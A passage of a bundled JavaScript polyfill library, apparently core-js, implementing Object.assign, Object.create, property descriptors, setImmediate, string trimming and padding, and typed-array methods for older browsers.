K.split('').forEach(function(k){ B[k] = k; });
return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
}) ? function assign(target, source){ // eslint-disable-line no-unused-vars
var T = toObject(target)
, aLen = arguments.length
, index = 1
, getSymbols = gOPS.f
, isEnum = pIE.f;
while(aLen > index){
var S = IObject(arguments[index++])
, keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S)
, length = keys.length
, j = 0
, key;
while(length > j)if(isEnum.call(S, key = keys[j++]))T[key] = S[key];
} return T;
} : $assign;
},{"109":109,"34":34,"45":45,"73":73,"76":76,"77":77}],66:[function(_dereq_,module,exports){
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
var anObject = _dereq_(7)
, dPs = _dereq_(68)
, enumBugKeys = _dereq_(30)
, IE_PROTO = _dereq_(93)('IE_PROTO')
, Empty = function(){ /* empty */ }
, PROTOTYPE = 'prototype';
// Create object with fake `null` prototype: use iframe Object with cleared prototype
var createDict = function(){
// Thrash, waste and sodomy: IE GC bug
var iframe = _dereq_(29)('iframe')
, i = enumBugKeys.length
, lt = '<'
, gt = '>'
, iframeDocument;
iframe.style.display = 'none';
_dereq_(41).appendChild(iframe);
iframe.src = 'javascript:'; // eslint-disable-line no-script-url
// createDict = iframe.contentWindow.Object;
// html.removeChild(iframe);
iframeDocument = iframe.contentWindow.document;
iframeDocument.open();
iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
iframeDocument.close();
createDict = iframeDocument.F;
while(i--)delete createDict[PROTOTYPE][enumBugKeys[i]];
return createDict();
};
module.exports = Object.create || function create(O, Properties){
var result;
if(O !== null){
Empty[PROTOTYPE] = anObject(O);
result = new Empty;
Empty[PROTOTYPE] = null;
// add "__proto__" for Object.getPrototypeOf polyfill
result[IE_PROTO] = O;
} else result = createDict();
return Properties === undefined ? result : dPs(result, Properties);
};
},{"29":29,"30":30,"41":41,"68":68,"7":7,"93":93}],67:[function(_dereq_,module,exports){
var anObject = _dereq_(7)
, IE8_DOM_DEFINE = _dereq_(42)
, toPrimitive = _dereq_(110)
, dP = Object.defineProperty;
exports.f = _dereq_(28) ? Object.defineProperty : function defineProperty(O, P, Attributes){
anObject(O);
P = toPrimitive(P, true);
anObject(Attributes);
if(IE8_DOM_DEFINE)try {
return dP(O, P, Attributes);
} catch(e){ /* empty */ }
if('get' in Attributes || 'set' in Attributes)throw TypeError('Accessors not supported!');
if('value' in Attributes)O[P] = Attributes.value;
return O;
};
},{"110":110,"28":28,"42":42,"7":7}],68:[function(_dereq_,module,exports){
var dP = _dereq_(67)
, anObject = _dereq_(7)
, getKeys = _dereq_(76);
module.exports = _dereq_(28) ? Object.defineProperties : function defineProperties(O, Properties){
anObject(O);
var keys = getKeys(Properties)
, length = keys.length
, i = 0
, P;
while(length > i)dP.f(O, P = keys[i++], Properties[P]);
return O;
};
},{"28":28,"67":67,"7":7,"76":76}],69:[function(_dereq_,module,exports){
// Forced replacement prototype accessors methods
module.exports = _dereq_(58)|| !_dereq_(34)(function(){
var K = Math.random();
// In FF throws only define methods
__defineSetter__.call(null, K, function(){ /* empty */});
delete _dereq_(38)[K];
});
},{"34":34,"38":38,"58":58}],70:[function(_dereq_,module,exports){
var pIE = _dereq_(77)
, createDesc = _dereq_(85)
, toIObject = _dereq_(107)
, toPrimitive = _dereq_(110)
, has = _dereq_(39)
, IE8_DOM_DEFINE = _dereq_(42)
, gOPD = Object.getOwnPropertyDescriptor;
exports.f = _dereq_(28) ? gOPD : function getOwnPropertyDescriptor(O, P){
O = toIObject(O);
P = toPrimitive(P, true);
if(IE8_DOM_DEFINE)try {
return gOPD(O, P);
} catch(e){ /* empty */ }
if(has(O, P))return createDesc(!pIE.f.call(O, P), O[P]);
};
},{"107":107,"110":110,"28":28,"39":39,"42":42,"77":77,"85":85}],71:[function(_dereq_,module,exports){
// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window
var toIObject = _dereq_(107)
, gOPN = _dereq_(72).f
, toString = {}.toString;
var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames
? Object.getOwnPropertyNames(window) : [];
var getWindowNames = function(it){
try {
return gOPN(it);
} catch(e){
return windowNames.slice();
}
};
module.exports.f = function getOwnPropertyNames(it){
return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it));
};
},{"107":107,"72":72}],72:[function(_dereq_,module,exports){
// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O)
var $keys = _dereq_(75)
, hiddenKeys = _dereq_(30).concat('length', 'prototype');
exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O){
return $keys(O, hiddenKeys);
};
},{"30":30,"75":75}],73:[function(_dereq_,module,exports){
exports.f = Object.getOwnPropertySymbols;
},{}],74:[function(_dereq_,module,exports){
// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
var has = _dereq_(39)
, toObject = _dereq_(109)
, IE_PROTO = _dereq_(93)('IE_PROTO')
, ObjectProto = Object.prototype;
module.exports = Object.getPrototypeOf || function(O){
O = toObject(O);
if(has(O, IE_PROTO))return O[IE_PROTO];
if(typeof O.constructor == 'function' && O instanceof O.constructor){
return O.constructor.prototype;
} return O instanceof Object ? ObjectProto : null;
};
},{"109":109,"39":39,"93":93}],75:[function(_dereq_,module,exports){
var has = _dereq_(39)
, toIObject = _dereq_(107)
, arrayIndexOf = _dereq_(11)(false)
, IE_PROTO = _dereq_(93)('IE_PROTO');
module.exports = function(object, names){
var O = toIObject(object)
, i = 0
, result = []
, key;
for(key in O)if(key != IE_PROTO)has(O, key) && result.push(key);
// Don't enum bug & hidden keys
while(names.length > i)if(has(O, key = names[i++])){
~arrayIndexOf(result, key) || result.push(key);
}
return result;
};
},{"107":107,"11":11,"39":39,"93":93}],76:[function(_dereq_,module,exports){
// 19.1.2.14 / 15.2.3.14 Object.keys(O)
var $keys = _dereq_(75)
, enumBugKeys = _dereq_(30);
module.exports = Object.keys || function keys(O){
return $keys(O, enumBugKeys);
};
},{"30":30,"75":75}],77:[function(_dereq_,module,exports){
exports.f = {}.propertyIsEnumerable;
},{}],78:[function(_dereq_,module,exports){
// most Object methods by ES6 should accept primitives
var $export = _dereq_(32)
, core = _dereq_(23)
, fails = _dereq_(34);
module.exports = function(KEY, exec){
var fn = (core.Object || {})[KEY] || Object[KEY]
, exp = {};
exp[KEY] = exec(fn);
$export($export.S + $export.F * fails(function(){ fn(1); }), 'Object', exp);
};
},{"23":23,"32":32,"34":34}],79:[function(_dereq_,module,exports){
var getKeys = _dereq_(76)
, toIObject = _dereq_(107)
, isEnum = _dereq_(77).f;
module.exports = function(isEntries){
return function(it){
var O = toIObject(it)
, keys = getKeys(O)
, length = keys.length
, i = 0
, result = []
, key;
while(length > i)if(isEnum.call(O, key = keys[i++])){
result.push(isEntries ? [key, O[key]] : O[key]);
} return result;
};
};
},{"107":107,"76":76,"77":77}],80:[function(_dereq_,module,exports){
// all object keys, includes non-enumerable and symbols
var gOPN = _dereq_(72)
, gOPS = _dereq_(73)
, anObject = _dereq_(7)
, Reflect = _dereq_(38).Reflect;
module.exports = Reflect && Reflect.ownKeys || function ownKeys(it){
var keys = gOPN.f(anObject(it))
, getSymbols = gOPS.f;
return getSymbols ? keys.concat(getSymbols(it)) : keys;
};
},{"38":38,"7":7,"72":72,"73":73}],81:[function(_dereq_,module,exports){
var $parseFloat = _dereq_(38).parseFloat
, $trim = _dereq_(102).trim;
module.exports = 1 / $parseFloat(_dereq_(103) + '-0') !== -Infinity ? function parseFloat(str){
var string = $trim(String(str), 3)
, result = $parseFloat(string);
return result === 0 && string.charAt(0) == '-' ? -0 : result;
} : $parseFloat;
},{"102":102,"103":103,"38":38}],82:[function(_dereq_,module,exports){
var $parseInt = _dereq_(38).parseInt
, $trim = _dereq_(102).trim
, ws = _dereq_(103)
, hex = /^[\-+]?0[xX]/;
module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix){
var string = $trim(String(str), 3);
return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10));
} : $parseInt;
},{"102":102,"103":103,"38":38}],83:[function(_dereq_,module,exports){
'use strict';
var path = _dereq_(84)
, invoke = _dereq_(44)
, aFunction = _dereq_(3);
module.exports = function(/* ...pargs */){
var fn = aFunction(this)
, length = arguments.length
, pargs = Array(length)
, i = 0
, _ = path._
, holder = false;
while(length > i)if((pargs[i] = arguments[i++]) === _)holder = true;
return function(/* ...args */){
var that = this
, aLen = arguments.length
, j = 0, k = 0, args;
if(!holder && !aLen)return invoke(fn, pargs, that);
args = pargs.slice();
if(holder)for(;length > j; j++)if(args[j] === _)args[j] = arguments[k++];
while(aLen > k)args.push(arguments[k++]);
return invoke(fn, args, that);
};
};
},{"3":3,"44":44,"84":84}],84:[function(_dereq_,module,exports){
module.exports = _dereq_(38);
},{"38":38}],85:[function(_dereq_,module,exports){
module.exports = function(bitmap, value){
return {
enumerable : !(bitmap & 1),
configurable: !(bitmap & 2),
writable : !(bitmap & 4),
value : value
};
};
},{}],86:[function(_dereq_,module,exports){
var redefine = _dereq_(87);
module.exports = function(target, src, safe){
for(var key in src)redefine(target, key, src[key], safe);
return target;
};
},{"87":87}],87:[function(_dereq_,module,exports){
var global = _dereq_(38)
, hide = _dereq_(40)
, has = _dereq_(39)
, SRC = _dereq_(114)('src')
, TO_STRING = 'toString'
, $toString = Function[TO_STRING]
, TPL = ('' + $toString).split(TO_STRING);
_dereq_(23).inspectSource = function(it){
return $toString.call(it);
};
(module.exports = function(O, key, val, safe){
var isFunction = typeof val == 'function';
if(isFunction)has(val, 'name') || hide(val, 'name', key);
if(O[key] === val)return;
if(isFunction)has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));
if(O === global){
O[key] = val;
} else {
if(!safe){
delete O[key];
hide(O, key, val);
} else {
if(O[key])O[key] = val;
else hide(O, key, val);
}
}
// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
})(Function.prototype, TO_STRING, function toString(){
return typeof this == 'function' && this[SRC] || $toString.call(this);
});
},{"114":114,"23":23,"38":38,"39":39,"40":40}],88:[function(_dereq_,module,exports){
module.exports = function(regExp, replace){
var replacer = replace === Object(replace) ? function(part){
return replace[part];
} : replace;
return function(it){
return String(it).replace(regExp, replacer);
};
};
},{}],89:[function(_dereq_,module,exports){
// 7.2.9 SameValue(x, y)
module.exports = Object.is || function is(x, y){
return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y;
};
},{}],90:[function(_dereq_,module,exports){
// Works with __proto__ only. Old v8 can't work with null proto objects.
/* eslint-disable no-proto */
var isObject = _dereq_(49)
, anObject = _dereq_(7);
var check = function(O, proto){
anObject(O);
if(!isObject(proto) && proto !== null)throw TypeError(proto + ": can't set as prototype!");
};
module.exports = {
set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
function(test, buggy, set){
try {
set = _dereq_(25)(Function.call, _dereq_(70).f(Object.prototype, '__proto__').set, 2);
set(test, []);
buggy = !(test instanceof Array);
} catch(e){ buggy = true; }
return function setPrototypeOf(O, proto){
check(O, proto);
if(buggy)O.__proto__ = proto;
else set(O, proto);
return O;
};
}({}, false) : undefined),
check: check
};
},{"25":25,"49":49,"7":7,"70":70}],91:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, dP = _dereq_(67)
, DESCRIPTORS = _dereq_(28)
, SPECIES = _dereq_(117)('species');
module.exports = function(KEY){
var C = global[KEY];
if(DESCRIPTORS && C && !C[SPECIES])dP.f(C, SPECIES, {
configurable: true,
get: function(){ return this; }
});
};
},{"117":117,"28":28,"38":38,"67":67}],92:[function(_dereq_,module,exports){
var def = _dereq_(67).f
, has = _dereq_(39)
, TAG = _dereq_(117)('toStringTag');
module.exports = function(it, tag, stat){
if(it && !has(it = stat ? it : it.prototype, TAG))def(it, TAG, {configurable: true, value: tag});
};
},{"117":117,"39":39,"67":67}],93:[function(_dereq_,module,exports){
var shared = _dereq_(94)('keys')
, uid = _dereq_(114);
module.exports = function(key){
return shared[key] || (shared[key] = uid(key));
};
},{"114":114,"94":94}],94:[function(_dereq_,module,exports){
var global = _dereq_(38)
, SHARED = '__core-js_shared__'
, store = global[SHARED] || (global[SHARED] = {});
module.exports = function(key){
return store[key] || (store[key] = {});
};
},{"38":38}],95:[function(_dereq_,module,exports){
// 7.3.20 SpeciesConstructor(O, defaultConstructor)
var anObject = _dereq_(7)
, aFunction = _dereq_(3)
, SPECIES = _dereq_(117)('species');
module.exports = function(O, D){
var C = anObject(O).constructor, S;
return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S);
};
},{"117":117,"3":3,"7":7}],96:[function(_dereq_,module,exports){
var fails = _dereq_(34);
module.exports = function(method, arg){
return !!method && fails(function(){
arg ? method.call(null, function(){}, 1) : method.call(null);
});
};
},{"34":34}],97:[function(_dereq_,module,exports){
var toInteger = _dereq_(106)
, defined = _dereq_(27);
// true -> String#at
// false -> String#codePointAt
module.exports = function(TO_STRING){
return function(that, pos){
var s = String(defined(that))
, i = toInteger(pos)
, l = s.length
, a, b;
if(i < 0 || i >= l)return TO_STRING ? '' : undefined;
a = s.charCodeAt(i);
return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff
? TO_STRING ? s.charAt(i) : a
: TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000;
};
};
},{"106":106,"27":27}],98:[function(_dereq_,module,exports){
// helper for String#{startsWith, endsWith, includes}
var isRegExp = _dereq_(50)
, defined = _dereq_(27);
module.exports = function(that, searchString, NAME){
if(isRegExp(searchString))throw TypeError('String#' + NAME + " doesn't accept regex!");
return String(defined(that));
};
},{"27":27,"50":50}],99:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, fails = _dereq_(34)
, defined = _dereq_(27)
, quot = /"/g;
// B.2.3.2.1 CreateHTML(string, tag, attribute, value)
var createHTML = function(string, tag, attribute, value) {
var S = String(defined(string))
, p1 = '<' + tag;
if(attribute !== '')p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"';
return p1 + '>' + S + '</' + tag + '>';
};
module.exports = function(NAME, exec){
var O = {};
O[NAME] = exec(createHTML);
$export($export.P + $export.F * fails(function(){
var test = ''[NAME]('"');
return test !== test.toLowerCase() || test.split('"').length > 3;
}), 'String', O);
};
},{"27":27,"32":32,"34":34}],100:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-string-pad-start-end
var toLength = _dereq_(108)
, repeat = _dereq_(101)
, defined = _dereq_(27);
module.exports = function(that, maxLength, fillString, left){
var S = String(defined(that))
, stringLength = S.length
, fillStr = fillString === undefined ? ' ' : String(fillString)
, intMaxLength = toLength(maxLength);
if(intMaxLength <= stringLength || fillStr == '')return S;
var fillLen = intMaxLength - stringLength
, stringFiller = repeat.call(fillStr, Math.ceil(fillLen / fillStr.length));
if(stringFiller.length > fillLen)stringFiller = stringFiller.slice(0, fillLen);
return left ? stringFiller + S : S + stringFiller;
};
},{"101":101,"108":108,"27":27}],101:[function(_dereq_,module,exports){
'use strict';
var toInteger = _dereq_(106)
, defined = _dereq_(27);
module.exports = function repeat(count){
var str = String(defined(this))
, res = ''
, n = toInteger(count);
if(n < 0 || n == Infinity)throw RangeError("Count can't be negative");
for(;n > 0; (n >>>= 1) && (str += str))if(n & 1)res += str;
return res;
};
},{"106":106,"27":27}],102:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, defined = _dereq_(27)
, fails = _dereq_(34)
, spaces = _dereq_(103)
, space = '[' + spaces + ']'
, non = '\u200b\u0085'
, ltrim = RegExp('^' + space + space + '*')
, rtrim = RegExp(space + space + '*$');
var exporter = function(KEY, exec, ALIAS){
var exp = {};
var FORCE = fails(function(){
return !!spaces[KEY]() || non[KEY]() != non;
});
var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY];
if(ALIAS)exp[ALIAS] = fn;
$export($export.P + $export.F * FORCE, 'String', exp);
};
// 1 -> String#trimLeft
// 2 -> String#trimRight
// 3 -> String#trim
var trim = exporter.trim = function(string, TYPE){
string = String(defined(string));
if(TYPE & 1)string = string.replace(ltrim, '');
if(TYPE & 2)string = string.replace(rtrim, '');
return string;
};
module.exports = exporter;
},{"103":103,"27":27,"32":32,"34":34}],103:[function(_dereq_,module,exports){
module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' +
'\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF';
},{}],104:[function(_dereq_,module,exports){
var ctx = _dereq_(25)
, invoke = _dereq_(44)
, html = _dereq_(41)
, cel = _dereq_(29)
, global = _dereq_(38)
, process = global.process
, setTask = global.setImmediate
, clearTask = global.clearImmediate
, MessageChannel = global.MessageChannel
, counter = 0
, queue = {}
, ONREADYSTATECHANGE = 'onreadystatechange'
, defer, channel, port;
var run = function(){
var id = +this;
if(queue.hasOwnProperty(id)){
var fn = queue[id];
delete queue[id];
fn();
}
};
var listener = function(event){
run.call(event.data);
};
// Node.js 0.9+ & IE10+ has setImmediate, otherwise:
if(!setTask || !clearTask){
setTask = function setImmediate(fn){
var args = [], i = 1;
while(arguments.length > i)args.push(arguments[i++]);
queue[++counter] = function(){
invoke(typeof fn == 'function' ? fn : Function(fn), args);
};
defer(counter);
return counter;
};
clearTask = function clearImmediate(id){
delete queue[id];
};
// Node.js 0.8-
if(_dereq_(18)(process) == 'process'){
defer = function(id){
process.nextTick(ctx(run, id, 1));
};
// Browsers with MessageChannel, includes WebWorkers
} else if(MessageChannel){
channel = new MessageChannel;
port = channel.port2;
channel.port1.onmessage = listener;
defer = ctx(port.postMessage, port, 1);
// Browsers with postMessage, skip WebWorkers
// IE8 has postMessage, but it's sync & typeof its postMessage is 'object'
} else if(global.addEventListener && typeof postMessage == 'function' && !global.importScripts){
defer = function(id){
global.postMessage(id + '', '*');
};
global.addEventListener('message', listener, false);
// IE8-
} else if(ONREADYSTATECHANGE in cel('script')){
defer = function(id){
html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function(){
html.removeChild(this);
run.call(id);
};
};
// Rest old browsers
} else {
defer = function(id){
setTimeout(ctx(run, id, 1), 0);
};
}
}
module.exports = {
set: setTask,
clear: clearTask
};
},{"18":18,"25":25,"29":29,"38":38,"41":41,"44":44}],105:[function(_dereq_,module,exports){
var toInteger = _dereq_(106)
, max = Math.max
, min = Math.min;
module.exports = function(index, length){
index = toInteger(index);
return index < 0 ? max(index + length, 0) : min(index, length);
};
},{"106":106}],106:[function(_dereq_,module,exports){
// 7.1.4 ToInteger
var ceil = Math.ceil
, floor = Math.floor;
module.exports = function(it){
return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);
};
},{}],107:[function(_dereq_,module,exports){
// to indexed object, toObject with fallback for non-array-like ES3 strings
var IObject = _dereq_(45)
, defined = _dereq_(27);
module.exports = function(it){
return IObject(defined(it));
};
},{"27":27,"45":45}],108:[function(_dereq_,module,exports){
// 7.1.15 ToLength
var toInteger = _dereq_(106)
, min = Math.min;
module.exports = function(it){
return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991
};
},{"106":106}],109:[function(_dereq_,module,exports){
// 7.1.13 ToObject(argument)
var defined = _dereq_(27);
module.exports = function(it){
return Object(defined(it));
};
},{"27":27}],110:[function(_dereq_,module,exports){
// 7.1.1 ToPrimitive(input [, PreferredType])
var isObject = _dereq_(49);
// instead of the ES6 spec version, we didn't implement @@toPrimitive case
// and the second argument - flag - preferred type is a string
module.exports = function(it, S){
if(!isObject(it))return it;
var fn, val;
if(S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
if(typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it)))return val;
if(!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
throw TypeError("Can't convert object to primitive value");
};
},{"49":49}],111:[function(_dereq_,module,exports){
'use strict';
if(_dereq_(28)){
var LIBRARY = _dereq_(58)
, global = _dereq_(38)
, fails = _dereq_(34)
, $export = _dereq_(32)
, $typed = _dereq_(113)
, $buffer = _dereq_(112)
, ctx = _dereq_(25)
, anInstance = _dereq_(6)
, propertyDesc = _dereq_(85)
, hide = _dereq_(40)
, redefineAll = _dereq_(86)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, toIndex = _dereq_(105)
, toPrimitive = _dereq_(110)
, has = _dereq_(39)
, same = _dereq_(89)
, classof = _dereq_(17)
, isObject = _dereq_(49)
, toObject = _dereq_(109)
, isArrayIter = _dereq_(46)
, create = _dereq_(66)
, getPrototypeOf = _dereq_(74)
, gOPN = _dereq_(72).f
, getIterFn = _dereq_(118)
, uid = _dereq_(114)
, wks = _dereq_(117)
, createArrayMethod = _dereq_(12)
, createArrayIncludes = _dereq_(11)
, speciesConstructor = _dereq_(95)
, ArrayIterators = _dereq_(130)
, Iterators = _dereq_(56)
, $iterDetect = _dereq_(54)
, setSpecies = _dereq_(91)
, arrayFill = _dereq_(9)
, arrayCopyWithin = _dereq_(8)
, $DP = _dereq_(67)
, $GOPD = _dereq_(70)
, dP = $DP.f
, gOPD = $GOPD.f
, RangeError = global.RangeError
, TypeError = global.TypeError
, Uint8Array = global.Uint8Array
, ARRAY_BUFFER = 'ArrayBuffer'
, SHARED_BUFFER = 'Shared' + ARRAY_BUFFER
, BYTES_PER_ELEMENT = 'BYTES_PER_ELEMENT'
, PROTOTYPE = 'prototype'
, ArrayProto = Array[PROTOTYPE]
, $ArrayBuffer = $buffer.ArrayBuffer
, $DataView = $buffer.DataView
, arrayForEach = createArrayMethod(0)
, arrayFilter = createArrayMethod(2)
, arraySome = createArrayMethod(3)
, arrayEvery = createArrayMethod(4)
, arrayFind = createArrayMethod(5)
, arrayFindIndex = createArrayMethod(6)
, arrayIncludes = createArrayIncludes(true)
, arrayIndexOf = createArrayIncludes(false)
, arrayValues = ArrayIterators.values
, arrayKeys = ArrayIterators.keys
, arrayEntries = ArrayIterators.entries
, arrayLastIndexOf = ArrayProto.lastIndexOf
, arrayReduce = ArrayProto.reduce
, arrayReduceRight = ArrayProto.reduceRight
, arrayJoin = ArrayProto.join
, arraySort = ArrayProto.sort
, arraySlice = ArrayProto.slice
, arrayToString = ArrayProto.toString
, arrayToLocaleString = ArrayProto.toLocaleString
, ITERATOR = wks('iterator')
, TAG = wks('toStringTag')
, TYPED_CONSTRUCTOR = uid('typed_constructor')
, DEF_CONSTRUCTOR = uid('def_constructor')
, ALL_CONSTRUCTORS = $typed.CONSTR
, TYPED_ARRAY = $typed.TYPED
, VIEW = $typed.VIEW
, WRONG_LENGTH = 'Wrong length!';
var $map = createArrayMethod(1, function(O, length){
return allocate(speciesConstructor(O, O[DEF_CONSTRUCTOR]), length);
});
var LITTLE_ENDIAN = fails(function(){
return new Uint8Array(new Uint16Array([1]).buffer)[0] === 1;
});
var FORCED_SET = !!Uint8Array && !!Uint8Array[PROTOTYPE].set && fails(function(){
new Uint8Array(1).set({});
});
var strictToLength = function(it, SAME){
if(it === undefined)throw TypeError(WRONG_LENGTH);
var number = +it
, length = toLength(it);
if(SAME && !same(number, length))throw RangeError(WRONG_LENGTH);
return length;
};
var toOffset = function(it, BYTES){
var offset = toInteger(it);
if(offset < 0 || offset % BYTES)throw RangeError('Wrong offset!');
return offset;
};
var validate = function(it){
if(isObject(it) && TYPED_ARRAY in it)return it;
throw TypeError(it + ' is not a typed array!');
};
var allocate = function(C, length){
if(!(isObject(C) && TYPED_CONSTRUCTOR in C)){
throw TypeError('It is not a typed array constructor!');
} return new C(length);
};
var speciesFromList = function(O, list){
return fromList(speciesConstructor(O, O[DEF_CONSTRUCTOR]), list);
};
var fromList = function(C, list){
var index = 0
, length = list.length
, result = allocate(C, length);
while(length > index)result[index] = list[index++];
return result;
};
var addGetter = function(it, key, internal){
dP(it, key, {get: function(){ return this._d[internal]; }});
};
var $from = function from(source /*, mapfn, thisArg */){
var O = toObject(source)
, aLen = arguments.length
, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, iterFn = getIterFn(O)
, i, length, values, result, step, iterator;
if(iterFn != undefined && !isArrayIter(iterFn)){
for(iterator = iterFn.call(O), values = [], i = 0; !(step = iterator.next()).done; i++){
values.push(step.value);
} O = values;
}
if(mapping && aLen > 2)mapfn = ctx(mapfn, arguments[2], 2);
for(i = 0, length = toLength(O.length), result = allocate(this, length); length > i; i++){
result[i] = mapping ? mapfn(O[i], i) : O[i];
}
return result;
};
var $of = function of(/*...items*/){
var index = 0
, length = arguments.length
, result = allocate(this, length);
while(length > index)result[index] = arguments[index++];
return result;
};
// iOS Safari 6.x fails here
var TO_LOCALE_BUG = !!Uint8Array && fails(function(){ arrayToLocaleString.call(new Uint8Array(1)); });
var $toLocaleString = function toLocaleString(){
return arrayToLocaleString.apply(TO_LOCALE_BUG ? arraySlice.call(validate(this)) : validate(this), arguments);
};
var proto = {
copyWithin: function copyWithin(target, start /*, end */){
return arrayCopyWithin.call(validate(this), target, start, arguments.length > 2 ? arguments[2] : undefined);
},
every: function every(callbackfn /*, thisArg */){
return arrayEvery(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
fill: function fill(value /*, start, end */){ // eslint-disable-line no-unused-vars
return arrayFill.apply(validate(this), arguments);
},
filter: function filter(callbackfn /*, thisArg */){
return speciesFromList(this, arrayFilter(validate(this), callbackfn,
arguments.length > 1 ? arguments[1] : undefined));
},
find: function find(predicate /*, thisArg */){
return arrayFind(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
findIndex: function findIndex(predicate /*, thisArg */){
return arrayFindIndex(validate(this), predicate, arguments.length > 1 ? arguments[1] : undefined);
},
forEach: function forEach(callbackfn /*, thisArg */){
arrayForEach(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
indexOf: function indexOf(searchElement /*, fromIndex */){
return arrayIndexOf(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
includes: function includes(searchElement /*, fromIndex */){
return arrayIncludes(validate(this), searchElement, arguments.length > 1 ? arguments[1] : undefined);
},
join: function join(separator){ // eslint-disable-line no-unused-vars
return arrayJoin.apply(validate(this), arguments);
},
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex */){ // eslint-disable-line no-unused-vars
return arrayLastIndexOf.apply(validate(this), arguments);
},
map: function map(mapfn /*, thisArg */){
return $map(validate(this), mapfn, arguments.length > 1 ? arguments[1] : undefined);
},
reduce: function reduce(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduce.apply(validate(this), arguments);
},
reduceRight: function reduceRight(callbackfn /*, initialValue */){ // eslint-disable-line no-unused-vars
return arrayReduceRight.apply(validate(this), arguments);
},
reverse: function reverse(){
var that = this
, length = validate(that).length
, middle = Math.floor(length / 2)
, index = 0
, value;
while(index < middle){
value = that[index];
that[index++] = that[--length];
that[length] = value;
} return that;
},
some: function some(callbackfn /*, thisArg */){
return arraySome(validate(this), callbackfn, arguments.length > 1 ? arguments[1] : undefined);
},
sort: function sort(comparefn){
return arraySort.call(validate(this), comparefn);
},
subarray: function subarray(begin, end){
var O = validate(this)
, length = O.length
, $begin = toIndex(begin, length);
return new (speciesConstructor(O, O[DEF_CONSTRUCTOR]))(
O.buffer,
O.byteOffset + $begin * O.BYTES_PER_ELEMENT,
toLength((end === undefined ? length : toIndex(end, length)) - $begin)
);
}
};
var $slice = function slice(start, end){
return speciesFromList(this, arraySlice.call(validate(this), start, end));
};
var $set = function set(arrayLike /*, offset */){
validate(this);
var offset = toOffset(arguments[1], 1)
, length = this.length
, src = toObject(arrayLike)
, len = toLength(src.length)
, index = 0;
if(len + offset > length)throw RangeError(WRONG_LENGTH);
while(index < len)this[offset + index] = src[index++];
};
var $iterators = {
entries: function entries(){
return arrayEntries.call(validate(this));
},
keys: function keys(){
return arrayKeys.call(validate(this));
},
values: function values(){
return arrayValues.call(validate(this));
}
};
var isTAIndex = function(target, key){
return isObject(target)
&& target[TYPED_ARRAY]
&& typeof key != 'symbol'
&& key in target
&& String(+key) == String(key);
};
var $getDesc = function getOwnPropertyDescriptor(target, key){
return isTAIndex(target, key = toPrimitive(key, true))
? propertyDesc(2, target[key])
: gOPD(target, key);
};
var $setDesc = function defineProperty(target, key, desc){
if(isTAIndex(target, key = toPrimitive(key, true))
&& isObject(desc)
&& has(desc, 'value')
&& !has(desc, 'get')
&& !has(desc, 'set')
// TODO: add validation descriptor w/o calling accessors
&& !desc.configurable
&& (!has(desc, 'writable') || desc.writable)
&& (!has(desc, 'enumerable') || desc.enumerable)
){
target[key] = desc.value;
return target;
} else return dP(target, key, desc);
};
if(!ALL_CONSTRUCTORS){
$GOPD.f = $getDesc;
$DP.f = $setDesc;
}
$export($export.S + $export.F * !ALL_CONSTRUCTORS, 'Object', {
getOwnPropertyDescriptor: $getDesc,
defineProperty: $setDesc
});
if(fails(function(){ arrayToString.call({}); })){
arrayToString = arrayToLocaleString = function toString(){
return arrayJoin.call(this);
}
}
var $TypedArrayPrototype$ = redefineAll({}, proto);
redefineAll($TypedArrayPrototype$, $iterators);
hide($TypedArrayPrototype$, ITERATOR, $iterators.values);
redefineAll($TypedArrayPrototype$, {
slice: $slice,
set: $set,
constructor: function(){ /* noop */ },
toString: arrayToString,
toLocaleString: $toLocaleString
});
addGetter($TypedArrayPrototype$, 'buffer', 'b');
addGetter($TypedArrayPrototype$, 'byteOffset', 'o');
addGetter($TypedArrayPrototype$, 'byteLength', 'l');
